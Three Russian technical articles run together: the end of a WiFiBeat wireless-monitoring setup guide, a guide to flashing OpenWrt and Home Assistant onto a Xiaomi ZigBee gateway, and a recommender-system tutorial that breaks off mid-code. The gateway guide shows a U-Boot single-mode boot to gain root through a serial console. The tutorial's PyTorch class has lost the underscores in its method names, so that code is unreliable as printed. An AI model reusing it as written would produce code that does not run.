Процесс установки детально описан на [GitHub](https://github.com/WiFiBeat/WiFiBeat).
Устанавливаем libtins
```
wget https://github.com/mfontanini/libtins/archive/v3.5.tar.gz
tar -zxf v3.5.tar.gz
cd libtins-3.5
apt-get install libpcap-dev libssl-dev build-essential libboost-all-dev
mkdir build
cd build
cmake ../ -DLIBTINS_ENABLE_CXX11=1
make
make install
ldconfig
```
Устанавливаем недостающие пакеты в систему
```
apt-get install libyaml-cpp-dev libpoco-dev rapidjson-dev libtsan0 libboost-all-dev libb64-dev libwireshark-data build-essential libnl-3-dev libnl-genl-3-dev libnl-idiag-3-dev
```
Устанавливаем [Codelite](https://codelite.org/) для сборки WiFiBeat
```
apt-get install codelite codelite-plugins
```
Запускаем codelite и создаем новый workspace

Тип C++

Запоминаем директорию

Когда workspace создан, переходим в директорию и скачиваем WiFiBeat и библиотеки с GitHub.
```
cd /root/WiFiBeat
git clone https://github.com/WiFiBeat/WiFiBeat
git clone https://github.com/WiFiBeat/elasticbeat-cpp
git clone https://github.com/WiFiBeat/simplejson-cpp
```
Добавляем все 3 проекта в наш workspace в codelite


В итоге должно получиться следующее

После двойного клика на wifibeat в списке проектов, он должен выделиться

Правым кликом на wifibeat выбираем Build

Выбираем компилятор, если не был выбран, и снова Build

Если все зависимости установлены в системе и Вы все сделали правильно до этого, то в завершении процесса компиляции Вы увидите сообщение об отсутствии ошибок.
```
====0 errors, 2 warnings, total time: 00:01:13 seconds====
```
Настройка
---------
Процесс установки Elasticsearch и Kibana не будет рассматриваться в данной статье. На эту тему есть достаточно материалов в сети. Предполагаем, что они работают на машине 192.168.1.30, а WiFiBeat на машине 192.168.1.31. Elasticsearch слушает HTTP порт 9200 и не требует аутентификации.
К машине 192.168.1.31 я подключил Wi-Fi адаптер и перевел его в режим монитора.
В системе он отображается как mon0.
Из каталога с WiFiBeat копируем конфигурационный файл в etc и редактируем
```
cp wifibeat.yml /etc
vi /etc/wifibeat.yml
```
Этот файл хорошо документирован, коротко пройдемся по основным опциям.
Я собираюсь анализировать трафик одной сети, работающей на пятом канале диапазона 2.4 ГГц.
Поэтому в настройках интерфейсов оставляю одну запись. Есть возможность анализировать сразу несколько каналов и для каждого задать время прослушивания.
```
wifibeat.interfaces.devices:
mon0: [5]
```
Удаляю все из раздела Output file
В разделе с PCAP-фильтрами я задам следующее
```
wifibeat.interfaces.filters:
mon0: type mgt
```
Здесь указываются фильтры как в [Wireshark](https://www.wireshark.org/), и в данном случае я указываю, что меня интересуют только Management фреймы 802.11. К ним относятся:
* Authentication frame
* Deauthentication frame
* Association request frame
* Association response frame
* Reassociation request frame
* Reassociation response frame
* Disassociation frame
* Beacon frame
* Probe request frame
* Probe response frame
* Request to Send (RTS) frame
* Clear to Send (CTS) frame
* Acknowledgement (ACK) frame
В разделах Local file и Decryption я все закомментировал, ключи шифрования в моем примере мне не понадобятся и читать из PCAP файла я так же не буду.
В разделе Queues ничего менять не буду и в разделе Outputs задам адрес и порт Elasticsearch.
```
output.elasticsearch:
enabled: true
protocol: "http"
# Array of hosts to connect to.
hosts: [ "192.168.1.30:9200" ]
```
Сохраняем и переходим в каталог с WiFiBeat и подкаталог Debug. Здесь должен находиться скомпилированный исполняемый файл wifibeat.
Запуск
------
Запускаем Elasticsearch и Kibana на машине 192.168.1.30. Убеждаемся, что прослушивается порт 9200 (Elasticsearch) и Kibana (5601).
На машине 192.168.1.31 проверяем, что мы не допустили ошибок в конфигурации
```
./wifibeat -d
```
Вы должны увидеть парсинг конфигурационного файла. Если есть ошибки, то wifibeat сообщит о проблеме. Если все хорошо, то запускаем
```
./wifibeat -f
```
Ключ -f позволяет запустить wifibeat не в режиме демона. Для нас это пока удобнее.
Теперь если вы откроете Kibana и проверите индексы, то должны увидеть, что появился новый индекс wifibeat\*

Настроим Kibana. Переходим в Management, Index Patterns

Создаем новый шаблон


Отмечаем его как основной

Теперь импортируем Dashboard-ы и Визализации, которые идут в комплекте с WiFiBeat


Выбираем файл kibana.json из каталога WiFiBeat/kibana
Если импорт прошел успешно, можно перейти на вкладку Dashboard и найти там WLAN

Если не использовать фильтры в wifibeat.yml он будет выглядеть так

С фильтрами (в нашем случае), мы не будем видеть данных по Control Frames и Data Frames.
Помимо дэшбордов у нас появились новые визуализации


В заключении
------------
Далее при помощи еще одного компонента пакета Elasitc — [X-Pack](https://www.elastic.co/products/x-pack) можно настроить действия при обнаружении, скажем всплеска фреймов деаутентификации, что может означать DoS атаку или попытку заполучить хэндшейк для брутфорса. Таким образом можно собрать систему обнаружения атак на беспроводную сеть. | https://habr.com/ru/post/335134/ | null | ru | null |
# Xiaomi Gateway MIEU01 как универсальный контроллер умного дома
[Home Assistant](https://www.home-assistant.io/) - прекрасное программное решение для умного дома. У него современный интерфейс, множество плагинов и дополнений почти на все случаи жизни. В интернете можно найти множество компонентов для самых экзотических устройств. Но чтобы начать им пользоваться, надо как следует позаботиться об аппаратной платформе. Нужно либо купить одноплатный компьютер наподобие Raspberry PI, или же использовать десктопный компьютер, который должен работать в режиме 24/7.
Но что если я скажу, что даже простой ZigBee шлюз от Xiaomi с евро-вилкой, который вставляется в розетку, может работать как хост система для Home Assistant? Он может показывать значение датчиков в веб интерфейсе, управлять светом и розетками, контролировать ZigBee сеть, проговаривать текст голосом через встроенный динамик, делать полноценную автоматизацию и всё это на скромном устройстве, которое нужно лишь воткнуть в розетку.
### Немного истории
Данная статья является логическим продолжением другой [статьи о том, как команда энтузиастов взломала ZigBee шлюз от Xiaomi](https://habr.com/en/post/494296/) и получила доступ к ОС Linux, которая там установлена. Когда я прочитал эту статью, у меня возникло желание попробовать повторить манипуляции, которые [@lenz1986](/users/lenz1986) описал в своей статье.
Это потенциально вело к получению ZigBee шлюза, который можно будет как-нибудь хакнуть, чтобы он поддерживал работу со всеми ZigBee устройствами, а не только с устройствами от Xiaomi (число которых в случае европейского региона ещё и сильно урезано). Потому я приобрёл шлюз и поспешил воспользоваться инструкцией из статьи. Я спросил у автора, насколько безопасно прошивать, и он заверил меня, что это безопасно. Я, уверенный, что новая прошивка загрузится только в оперативную память, запустил команду для прошивки системы. Оказалось, что только в оперативной памяти работает новая операционная система OpenWrt, а все разделы, которые отвечают за стоковую систему, перетёрты новой полурабочей системой (которая на тот момент даже не видела flash-память).
Так началось моё приключение, которое и привело к тому, что на данный момент шлюз может работать как универсальный контроллер для умного дома. Он работает с ZigBee, bluetooth, может быть хост-системой для программ zigbee2mqtt, node-red, Domoticz и даже Home Assistant!
**Всё что описано в статье касается европейского шлюза Xiaomi версии 2 (DGNWG05LM), а также первого шлюза Aqara (ZHWG11LM).**
**Статья так же применима к шлюзу Aqara в аналогичном форм-факторе, за исключением того, что в нём отсутствует bluetooth модуль.**
### Установка операционной системы OpenWrt
**ВАЖНО: На момент написания статьи актуальной версией OpenWrt была 19.07, соответственно все шаги описаны для данной версии. 4 сентября 2021 года вышла версия 21.02 и оригинальная инструкция и скрипты были обновлены для работы с новой версией. На ней же можно установить и свежие версии Home Assisstant, т.к. там используется версия питона 3.9**
Далее приведена упрощённая инструкция. Более подробная версия находится на основном сайте проекта <https://openlumi.github.io/>, в ней подробно описывается каждый шаг. С картинками!
Исходная система на шлюзе использует сборку через yocto и не позволяет её расширять. В дополнении, она ещё и занимает большую часть из 256-мегабайного флеш-диска.
Потому мы меняем ОС на портированную последнюю стабильную версию OpenWrt 19.07. Образ системы с веб-интерфейсом LuCI занимает 10 мегабайт.
Сейчас установка и обновление максимально упрощены, но на первом этапе требуется USB-UART адаптер и паяльник, чтобы подпаяться к консоли, получить root и запустить установку OpenWrt.
Упрощённо это выглядит так:
1. В uboot прописать загрузку в single mode
```
setenv bootargs "${bootargs} single rw init=/bin/bash" && boot
```
2. В UART-консоли надо задать пароль через `passwd`, а после перезагрузки уже войти в систему и запустить скрипт установки OpenWrt.
Он находится в репозитории <https://github.com/openlumi/owrt-installer> и прошьёт последнюю версию OpenWrt.
На этом месте провода больше не нужны и можно собрать шлюз.
Голая система OpenWrt поднимает точку доступа без пароля, чтобы можно было зайти и настроить подключение к своей WiFi сети.
Отлично, теперь у нас есть (относительно) полноценный линукс с возможностью устанавливать сторонние пакеты, но пропала главная функциональность шлюза: его возможность работать с ZigBee устройствами. Вернём же её!
### Zigbee2MQTT
Что такое Zigbee2MQTT?Сеть ZigBee имеет ячеистую структуру и может даже работать сама по себе без внешнего управления. Но для того, чтобы она могла работать с системами извне, требуется главное устройство — координатор. Обычно координатор имеет последовательный интерфейс для получения данных из сети и отправки команд в сеть. Программа Zigbee2MQTT умеет работать с координаторами разных производителей и отправлять данные устройств в MQTT брокер. MQTT - это один из протоколов для работы с устройствами умного дома, и многие системы УД умеют с ним работать. Потому, Zigbee2MQTT является мостиком от устройств ZigBee к любым системам умного дома.
[Zigbee2mqtt](https://www.zigbee2mqtt.io/) является де-факто стандартом для работы с устройствами ZigBee. Он умеет прокидывать параметры устройств и их состояние в брокер mqtt, где их уже может считывать ваша система умного дома. Мы же установим Zigbee2mqtt и MQTT брокер mosquitto прямо на шлюз.
В шлюзе установлен зигби модуль JN5169, и для него рабочей прошивкой является прошивка zigate, которая позволяет использовать чип, как координатор сети зигби. Благодаря стараниям [@G1K](/users/g1k), в zigbee2mqtt появилась поддержка работы с zigate и сейчас, начиная с версии zigbee2mqtt 1.17, в нём уже есть поддержка этой прошивки. Также, с его помощью мне удалось собрать пакет для OpenWrt размером в скромные 5 МБ. Чтобы установить, вам нужно в OpenWrt добавить feed с собранными пакетами для шлюза, и затем стандартным способом установить нужные пакеты
Добавляем фид:
```
wget -q https://openlumi.github.io/openwrt-packages/public.key -O /tmp/public.key && opkg-key add /tmp/public.key && rm /tmp/public.key
[ $(cat /etc/openwrt_release | grep RELEASE | cut -d "'" -f2 | cut -d '.' -f1,2) == "19.07" ] && echo 'src/gz openlumi https://openlumi.github.io/openwrt-packages/packages/19.07/arm_cortex-a9_neon' >> /etc/opkg/customfeeds.conf
```
Устанавливаем пакеты:
```
opkg update
opkg install mosquitto node node-zigbee2mqtt
```
Прошить зигби чип можно прямо из веб-интерфейса LuCI:
Прошивки с разными скоростями работы с внешним последовательным портом можно скачать отсюда: <https://github.com/openlumi/ZiGate/releases/tag/snapshot-20210103>
Там же нужно сбросить EEPROM чипа, который хранит в себе данные о подключённых устройствах. Нужно выбрать скорость, на которой работает прошивка и нажать кнопку *Erase PDM*.
Уже на этом этапе, после перезагрузки, на порту 8080 загрузится веб интерфейс zigbee2mqtt, который позволяет включать режим спаривания и управлять подключёнными устройствами.
#### Улучшенная прошивка
Разработка прошивки Zigate идёт достаточно вяло и в ней присутствуют [определённые](https://github.com/fairecasoimeme/ZiGate/issues) проблемы. Потому тот же самый [@G1K](/users/g1k) взял чистый пример координатора от NXP и применил только необходимые патчи из проекта Zigatе. В итоге прошивка лишилась ряда проблем, и при этом продолжила исправно работать с zigbee2mqtt
Альтернативная прошивка для z2m находится тут: <https://github.com/openlumi/JN-ZigbeeNodeControlBridge-firmware>
### Home Assistant
И вишенкой на торте стало портирование целиком системы Home Assistant прямо на шлюз. Целиком — это некоторое преувеличение, т.к. даже начальная установка занимает гораздо больше места, чем есть на шлюзе, а каждый компонент может требовать версию библиотек, которые отсутствуют в поставке.
Но мне удалось удалить большую часть компонентов, которые не нужны для базовой работы системы, а в других заменить версии зависимостей на те, что есть в OpenWrt. Это в основном касается библиотек, которые требуют компиляции и не могут установиться стандартным способом, т.к. на шлюзе просто нет компилятора.
Устанавливается это тоже всего лишь в одну команду (при условии, что у вас подключён фид openlumi).
```
wget https://raw.githubusercontent.com/openlumi/homeassistant_on_openwrt/$(cat /etc/openwrt_release | grep RELEASE | cut
-d "'" -f2 | cut -d '.' -f1,2)/ha_install.sh
```
Будет установлена последняя версия с поддержкой python 3.7 — Home Assistant 2021.1.5
В поставке есть компоненты для работы с MQTT, если вы захотите его использовать с zigbee2mqtt, а также ZHA, компонент для работы с сетью зигби напрямую, если вам будет хватать поддержки устройств от этого компонента. Для ZHA потребуется оригинальная прошивка Zigate, работающая на скорости 115200.
В Home Assistant работают автоматизации, а также есть отзывы об успешном запуске компонентов mpd, tts, mysensors, камер
Для управления датчиками и устройствами самого шлюза можно использовать сервис lumimqtt (<https://github.com/openlumi/lumimqtt>)
При использовании компонента MQTT устройства сами залетят в систему, используя механизм mqtt discovery.
Установленный Home Assistant занимает на диске около 100 МБ и после загрузки работает достаточно быстро для подобной аппаратной платформы.
Более подробная инструкция по установке тут <https://github.com/openlumi/homeassistant_on_openwrt>
### Что ещё можно сделать?
На шлюз Xiaomi с установленной OpenWrt можно устанавливать почти все пакеты из официального репозитория. Однако есть проблемы с использованием модулей ядра из пакетов, это может привести к kernel panic при установке. Такое было замечено при установке пакетов для openvpn, l2tp.В случае же приложений для userspace ограничений нет.
Например, была успешно бекпортирована более легковесная система умного дома Domoticz 2020 из master-ветки openwrt. В ней работают как плагин для работы с Zigate напрямую, так и плагин для zigbee2mqtt.
Если вы хотите более сложную логику для автоматизаций, чем предоставляет Home Assistant, есть возможность установить пакета для визуального поточного программирования [node-red](https://nodered.org/) прямо на шлюзе. Разнообразные ноды для управления шлюзом уже в комплекте.
На шлюз можно установить сетевой музыкальный плеер mpd и слушать радио. Надо отметить, что качество звука не очень высокое, хотя громкость достаточная.
На плате шлюза есть выведенные пятаки GPIO, правда, очень мелкие, но можно их использовать в linux через sysfs. Также на платах, где используется модуль WiFi Realtek 8723bs (все евро-шлюзы Xiaomi), есть возможность использовать встроенный bluetooth. В шлюзах Aqara стоит чип 8189es, в котором модуля bluetooth нет.
Несмотря на то, что проект уже выглядит вполне завершённым, если у вас есть навыки или знания, вы всё ещё можете присоединиться к улучшению достигнутых результатов.
Все текущие результаты собраны в едином проекте на гитхабе <https://github.com/openlumi>
[Телеграм-чат для обсуждения](https://t.me/xiaomi_gw_hack).
### Благодарности
Чтобы достичь данного результата, над проектом также работало множество замечательных людей:
[@lenz1986](/users/lenz1986) добавил поддержку nand, bluetooth
[@Alx2000y](/users/alx2000y) написал драйвер для звука для шлюза, внедрил поддержку overlayfs, бекпортировал модуль ядра для паттернов мигания светодиодами
[@G1K](/users/g1k) написал адаптер для zigbee2mqtt, которая поддерживает zigate в качестве координатора, организовал фид с пакетами для установки их на шлюзе через opkg и оптимизировал node-red для работы на шлюзе
[@divanikus](/users/divanikus) написал скрипт по установке OpenWrt на стоковой системе по воздуху
#### И, напоследок, бонус
Приблизительное сравнение аппаратных систем, чтобы понимать что вы потеряете и приобретёте, если возьмёте шлюз Xiaomi в качестве хоста для умного дома.
| | | | |
| --- | --- | --- | --- |
| | **Raspberry PI 3b** | **Orange PI PC2** | **Xiaomi Gateway DGNWG05LM** |
| Процессор | Broadcom BCM2837 Quad Core 1.2GHz 64bit | AllWinner H5 *Quad*-Core 1.2GHz 64bit | iMX6ULL, single core 696 MHz 32bit |
| Оперативная память | 1Гб | 1Гб | 256Мб |
| Дисковое пространство | Требуется SD Card | Требуется SD Card | 256Мб |
| Ethernet | 100Mbit | 100Mbit | - |
| USB | 4 x USB 2.0 | 3 x USB 2.0 | 1 x USB 2.0, требуется распайка разъёма |
| Bluetooth модуль | + | - | + |
| ZigBee модуль | - | - | + |
| WiFi модуль | + | - | + |
| Питание | Требуется внешнее питание, micro-USB | Требуется внешнее питание, круглый разъём | Встроенный блок питания |
| Дополнительно | HDMI, Гребёнка GPIO, разъём для подключения камеры, jack 3.5 | HDMI, Гребёнка GPIO, разъём для подключения камеры, jack 3.5 | Встроенный динамик, цветная подсветка, датчик освещённости, HID кнопка. GPIO на плате требуют пайки. | | https://habr.com/ru/post/543568/ | null | ru | null |
# Сравнение матричной факторизации с трансформерами на наборе данных MovieLens с применением библиотеки pytorch-acceleratd
Современный человек много чем занимается в интернете: ходит по магазинам, слушает музыку, читает новости. Все эти задачи подразумевают поиск и выбор того, что ему нужно. При этом важную роль тут играют рекомендательные системы. Они помогают людям не утонуть в многообразии вариантов и увидеть именно то, что им подойдёт, то, что иначе им сложно было бы найти. Предоставление пользователям качественных рекомендаций — это важнейшая часть обеспечения первоклассного уровня удовлетворения клиента. Это — один из самых эффективных способов взращивания лояльности клиентов и повышения ценности продукта или услуги в их глазах. Всё это так важно, что целые бизнес-модели некоторых компаний построены вокруг предоставления их клиентам наилучших рекомендаций, что делает рекомендательные системы важнейшими факторами, влияющими на прибыль подобных компаний! В результате неудивительно то, что клиенты проекта [Microsoft CSE](https://microsoft.github.io/code-with-engineering-playbook/CSE/) часто обращаются к нам с просьбами, касающимися реализации эталонных рекомендательных техник. Один из таких проектов был моим первым опытом в данной сфере.
Я хочу рассказать о том, как можно воспользоваться трансформерами для прогнозирования рейтингов фильмов на основе сведений о предыдущих действиях пользователя. Так же я сравню трансформеры с более широко известным подходом к решению подобных задач, который заключается в применение матричной факторизации. Применение трансформеров стало причиной значительных улучшений в сфере обработки естественных языков, в системах компьютерного зрения и в решении задач обработки временных рядов. Поэтому, похоже, настало время прихода этих нейросетевых архитектур в рекомендательные системы. Меня на это исследование вдохновила [статья](https://arxiv.org/pdf/1905.06874.pdf) о применении трансформеров на платформе Alibaba. Я, правда, слегка доработал предлагаемый там подход, учтя особенности моей задачи и архитектуры разрабатываемой мной системы.
Для того чтобы свести к минимуму объём шаблонного кода, необходимый для решения моих задач, и чтобы не отвлекаться от работы над моделями, я, для обучения PyTorch-моделей, использую библиотеку [pytorch-accelerated](https://github.com/Chris-hughes10/pytorch-accelerated). Это позволяет запускать цикл обучения на нескольких GPU, не меняя код. Если вы не знакомы с этой библиотекой и хотели бы, прежде чем читать дальше, кое-что о ней узнать, можете посмотреть [эту](https://medium.com/@chris.p.hughes10/introducing-pytorch-accelerated-6ba99530608c?source=friends_link&sk=868c2d2ec5229fdea42877c0bf82b968) вводную статью о `pytorch-accelerated` или [документацию](https://pytorch-accelerated.readthedocs.io/en/latest/index.html) к ней. Но библиотека это очень простая, поэтому если вы с ней и не знакомы, это не должно помешать вам понять то, о чём я тут буду рассказывать. Главная цель этой статьи — реализация и исследование разных подходов к созданию рекомендательных систем. Поэтому, хотя нам и придётся коснуться множества тем и методик, тут будет представлена лишь суть рассматриваемых вопросов, а подробности о них вы сможете узнать из дополнительных источников.
Те, кому не терпится увидеть всё это в деле, попробовать код, могут заглянуть на [эту](https://gist.github.com/Chris-hughes10/162c1009c4d42ec38dc4f008583cf560) страницу, где собран весь код из статьи. В этой статье используются фрагменты кода, цель которых — в приятной глазу форме проиллюстрировать те или иные идеи. Если их напрямую скопировать в среду выполнения Python-кода, они могут и не запуститься. А код из Jupyter Notebook, ссылка на который приведена выше, точно заработает.
Вот перечень Python-пакетов, которые тут используются.
### Загрузка и подготовка данных
Мы будем экспериментировать с набором данных [MovieLens-1M](https://grouplens.org/datasets/movielens/1m/). Это — коллекция из миллиона оценок, которые 6000 пользователей выставили 4000 фильмам. Этот набор данных собрала и поддерживает исследовательская группа GroupLens из Университета Миннесоты. Он увидел свет в 2003 году. MovieLens широко используется в сфере машинного обучения, он часто применяется для проведения стандартных тестов в научных публикациях.
Набор данных MovieLens состоит из трёх файлов: `movies.dat` (фильмы), `users.dat` (пользователи) и `ratings.dat` (оценки). Вот как выглядят эти данные.
Таблицы Users, Movies и Ratings из набора данных MovieLensСкомбинируем некоторые данные из этих таблиц в один датафрейм Pandas (объект `DataFrame`), что облегчит нашу дальнейшую работу.
Мы, задействуя возможности Pandas, можем вывести некоторые общие статистические сведения об этом наборе данных, что может нам пригодиться.
Эти сведения говорят нам о том, что все оценки представлены числами от 1 до 5, и о том, что каждый фильм был оценён, как минимум, один раз. Так как каждый пользователь оценил как минимум 20 фильмов, нам не нужно беспокоиться о том, как рекомендовать что-либо пользователю, о предпочтениях которого нам ничего не известно. Правда, в реальном мире часто приходится решать и такую задачу.
#### Разбиение исходных данных на обучающую и проверочную выборки
Прежде чем мы приступим к созданию моделей, нам надо разбить исходный набор данных на обучающую и проверочную выборки. Часто эту задачу решают путём выбора случайного набора строк. Это, в некоторых случаях, вполне оправдано. Но, так как мы собираемся обучить трансформерную модель на последовательностях оценок, нам это не подойдёт. Дело в том, что если мы просто исключим из обучающих данных набор случайных строк, это не даст нам хорошего представления системы, которую мы пытаемся смоделировать. Вполне возможно то, что для некоторых пользователей оценки из середины последовательности попадут в проверочную выборку. Для того чтобы понять то, почему это способно привести к проблемам, рассмотрим небольшой пример.
Представим себе, что пользователь смотрит фильмы из следующего списка и ставит им оценки. Мы, взглянув на обучающую выборку, хотим спрогнозировать оценку, которую он поставит фильму «Rocky». Делать мы это будем в ходе валидации модели на проверочной выборке.
Обучающие данные выделены зелёным, а проверочные — синимУчитывая то, что мы знаем, что пользователю понравился фильм «Rocky 2», который имеется в обучающей выборке, вероятно то, что ему понравится и фильм «Rocky». Поэтому мы можем спрогнозировать то, что пользователь поставит этому фильму высокую оценку. Но, так как пользователь посмотрел «Rocky 2» после «Rocky», в реальности у нас не было бы доступа к этим сведениям в тот момент, когда пользователь ставил оценку «Rocky». Наличие сведений об оценках, сделанных после оценки «Rocky», позволяет нам в данном случае «мошенничать» при решении задачи. Эта проблема известна как «утечка данных». Она может проявиться в искусственном улучшении показателей качества модели, но это не показательно для тех данных, которые, скорее всего, будут в нашем распоряжении при реальном использовании системы. Для того чтобы этого избежать, мы можем воспользоваться различными подходами.
Один из них заключается в том, чтобы формировать проверочную выборку, отбирая пользователей. То есть — случайным образом отбирают пользователей и обеспечивают попадание всех их оценок в проверочную выборку. Хотя это и рабочий подход, модель, в ходе обучения, ничего не узнает об этих пользователях. Поэтому каждый элемент проверочной выборки мы будем воспринимать так, как будто он представляет собой оценки, сделанные новым пользователем системы. В результате единственный способ, которым модель может предсказать оценки этих пользователей, будет основан на предпочтениях других, похожих на них пользователей. Конечно, проверка работы с новыми пользователями должна проводиться в ходе широкомасштабной проверки модели (движка рекомендательной системы) идущей в продакшн. Но такой подход даст неоптимальное представление о том, может ли исследуемая модель изучить предлагаемые ей данные.
Альтернативный подход может заключаться в применении стратегии, известной как валидация, выполняемая по принципу «исключение по одному». Тут мы, для каждого пользователя, выбираем последнюю по времени оценку, с учётом того, что эти пользователи уже оценили некоторое количество фильмов, превышающее определённое пороговое значение. Это даёт нам хорошее представление того процесса, который мы собираемся смоделировать. Именно этот подход нам и стоит использовать. Определим функцию, которая будет получать `n` оценок для каждого пользователя:
```
def get_last_n_ratings_by_user(
df, n, min_ratings_per_user=1, user_colname="user_id", timestamp_colname="unix_timestamp"
):
return (
df.groupby(user_colname)
.filter(lambda x: len(x) >= min_ratings_per_user)
.sort_values(timestamp_colname)
.groupby(user_colname)
.tail(n)
.sort_values(user_colname)
)
```
Теперь эту функцию можно использовать для определения другой функции, которая будет помечать `n` оценок на пользователя так, чтобы они попадали бы в проверочную выборку. Делается это с использованием столбца `is_valid`:
```
def mark_last_n_ratings_as_validation_set(
df, n, min_ratings=1, user_colname="user_id", timestamp_colname="unix_timestamp"
):
"""
Отмечает n последних по времени оценок, что включает их в проверочную выборку.
Делается это путём добавления дополнительного столбца 'is_valid' в df.
:param df: объект DataFrame, содержащий оценки, данные пользователем
:param n: количество оценок, которые надо включить в проверочную выборку
:param min_ratings: включать лишь пользователей, имеющих более этого количества оценок
:param user_id_colname: имя столбца, содержащего идентификатор пользователя
:param timestamp_colname: имя столбца, содержащего отметку времени
:return: тот же df, в который добавлен дополнительный столбец 'is_valid'
"""
df["is_valid"] = False
df.loc[
get_last_n_ratings_by_user(
df,
n,
min_ratings,
user_colname=user_colname,
timestamp_colname=timestamp_colname,
).index,
"is_valid",
] = True
return df
```
Применив эту функцию к нашему датафрейму, мы увидим, что теперь у нас имеется проверочная выборка, содержащая 6040 строк. То есть — по одной строке для каждого пользователя.
Даже в том случае, когда модель, ради проведения адекватных сравнений, проверяют на данных из того же набора, который использовался при её обучении, важно понимать то, как данные разбивают на обучающую и проверочную выборки. Подходы, выбранные для проверки модели, кроме того, важно использовать последовательно.
#### Критерии оценки качества моделей рекомендательных систем
Оценка рекомендательных систем — это очень сложная задача, описание которой, в основном, выходит за рамки данного материала. Правда, есть много публикаций, [всесторонне исследующих](https://towardsdatascience.com/an-exhaustive-list-of-methods-to-evaluate-recommender-systems-a70c05e121de) эту задачу. Тут мы оценим модель по трём метрикам, и, так как идеи, лежащие в их основе, хорошо раскрыты в других местах, здесь мы приведём лишь их краткие описания:
* Средняя абсолютная ошибка (Mean Absolute Error, MAE) — среднее значение абсолютных значений отклонений между реальными и спрогнозированными значениями.
* Средняя квадратичная ошибка (Mean Squared Error, MSE) — среднее значение квадратов абсолютных значений отклонений между реальными и спрогнозированными значениями.
* Корень из средней квадратичной ошибки (Root Mean Squared Error, RMSE) — квадратный корень из MSE, то есть, значение того же порядка, что и MAE.
О том, наилучший ли это подход к оценке подобных моделей, можно поспорить, но это — широко распространённый метод оценки рекомендательных моделей, он часто применяется и в научных публикациях, и в реальных системах. Лично я в первую очередь смотрю на показатель MAE, как на общую характеристику качества модели, так как этот показатель отличается понятностью и предсказуемостью его интерпретации. Это отличает его от RMSE, который имеет тенденцию к более сильному выделению больших ошибок. Подробнее этот вопрос обсуждается [здесь](https://medium.com/human-in-a-machine-world/mae-and-rmse-which-metric-is-better-e60ac3bde13d).
### Создание базовой модели
Приступая к решению новой задачи моделирования, часто полезно создать очень простую модель, известную как «базовая модель», то есть — решить задачу простым и понятным способом, приложив к этому минимум усилий. Затем показатели качества этой модели можно использовать для сравнения с показателями более сложных моделей, созданных позже. Если сложная модель показывает результаты, которые хуже результатов базовой модели — это плохой знак.
Мы, для построения базовой модели, можем просто прогнозировать среднюю оценку по каждому фильму, не обращая внимания на контекст. Так как среднее значение может подвергаться значительному влиянию показателей, сильно отличающихся от обычных, используем для построения модели медиану значений. Вычислить медианный рейтинг несложно:
Затем можно воспользоваться этим показателем в виде прогноза для каждой оценки в проверочной выборке и посчитать показатели качества модели:
Сами по себе эти числа довольно-таки бессмысленны. Они пригодятся нам для сравнения с показателями моделей, построенных с использованием подходов, которые мы собираемся исследовать.
### Матричная факторизация со смещением
Один из весьма популярных подходов к созданию рекомендательных систем, применяемый и в научных кругах, и в бизнесе, представлен методами матричной факторизации. Поговорим о смысле этих методов (более подробный их разбор можно найти [здесь](https://www.sciencedirect.com/topics/computer-science/matrix-factorization)). В дополнение к представлению рекомендаций в виде таблицы, вроде нашего датафрейма, создают альтернативный вариант данных — матрицу, в которой содержатся оценки, данные пользователями. Фрагмент подобной матрицы показан ниже.
Так как не каждый из пользователей оценил все фильмы, можно видеть, что некоторые значения в этой матрице отсутствуют. В результате задачу прогнозирования оценок можно сформулировать так:
*Как заполнить пустые места матрицы, чтобы при этом подставленные в неё значения согласовывались бы с уже имеющимися в ней оценками?*
Один из способов решения этой задачи заключается в том, чтобы решить, что существуют две матрицы меньшего размера, умножение которых даёт нашу матрицу оценок. Вот как это может выглядеть:
Самое главное тут в том, что каждая строка матрицы признаков пользователя, `U`, представляет предпочтения отдельного пользователя, а столбец матрицы признаков фильма, `M`, представляет признаки конкретного фильма. Тут у вас может появиться вопрос о том, как именно мы вышли на эти матрицы. Есть аналитические способы это сделать, обычно требующие серьёзных вычислений. Но мы занимаемся тут машинным обучением, поэтому на подобный вопрос есть лишь один ответ: мы инициализируем их случайными значениями и используем некий вариант алгоритма градиентного спуска для обучения модели и настройки этих значений.
Суть тут в том, что каждая строка матрицы `U` представляет собой предпочтения отдельного пользователя, а столбец `M` — признаки конкретного фильма. Эта идея, в соответствии с которой имеются некие скрытые значения, представляющие отдельных пользователей и отдельные фильмы, аналогична использованию эмбеддингов в компьютерном зрении или в обработке естественных языков. Там особый вектор, после обучения модели, используется для представления признака изображения или слова.
Итак, у нас сейчас есть следующая формула:
Здесь произведение столбцов матрицы `U` со строками матрицы `M` соответствует предпочтениям пользователя относительно конкретного фильма.
Но, хотя это и рабочий подход, часто получить лучшие результаты можно, включив в подобную формулу член смещения:
Каждый член смещения представляет собой вектор, содержащий один признак, имеющий отношение, соответственно, к отдельному пользователю или фильму. Введение в формулу члена смещения для фильмов позволяет модели изучить признак, представляющий собой то, как оценивается этот фильм, в сравнении со средней оценкой по всем остальным фильмам. Аналогично, член смещения пользователя может быть изучен моделью для представления склонности конкретного пользователя давать более высокие или более низкие оценки, чем «средний» пользователь. Например, у раздражительного пользователя, который обычно ставит фильмам «единицы», член смещения будет содержать большие значения, которые могут быть добавлены к каждой оценке для вывода их на один уровень с оценками «среднего» пользователя.
Если сейчас всё это кажется вам довольно-таки запутанным — не беспокойтесь. Всё станет куда понятнее после того, как мы выразим это в коде.
#### Реализация в PyTorch
Прежде чем мы поразмыслим об обучении модели — сначала надо привести данные к правильному формату. Сейчас у нас имеется заголовок, представляющий фильм, являющийся строкой. Нам нужно преобразовать этот заголовок в целое число, что позволит передать его модели. Хотя у каждого из пользователей уже и есть идентификатор, ID, давайте создадим собственный код ещё и для пользователей. Обычно я нахожу полезным управление кодированием всех сущностей, имеющих отношение к процессам обучения моделей. Это лучше, чем полагаться на некие системы присвоения сущностям идентификаторов, неизвестно где реализованные. Вы удивитесь, узнав о том, как много подобных идентификаторов, от которых ожидается, что они являются иммутабельными и уникальными, в реальности таковыми не являются.
Здесь мы можем это сделать, просто воспользовавшись функцией `enumerate`, получив таким образом уникальные значения и их индексы для пользователей и фильмов. Потом можно создать поисковые таблицы для этих данных:
Теперь, когда мы можем закодировать признаки, мы, так как используем PyTorch, должны определить класс `Dataset`, который будет включать в себя наш `DataFrame`. Его метод `getitem` возвращает оценки, выставленные пользователями фильмам.
```
class UserItemRatingDataset(Dataset):
def init(self, df, movie_lookup, user_lookup):
self.df = df
self.movie_lookup = movie_lookup
self.user_lookup = user_lookup
def getitem(self, index):
row = self.df.iloc[index]
user_id = self.user_lookup[row.user_id]
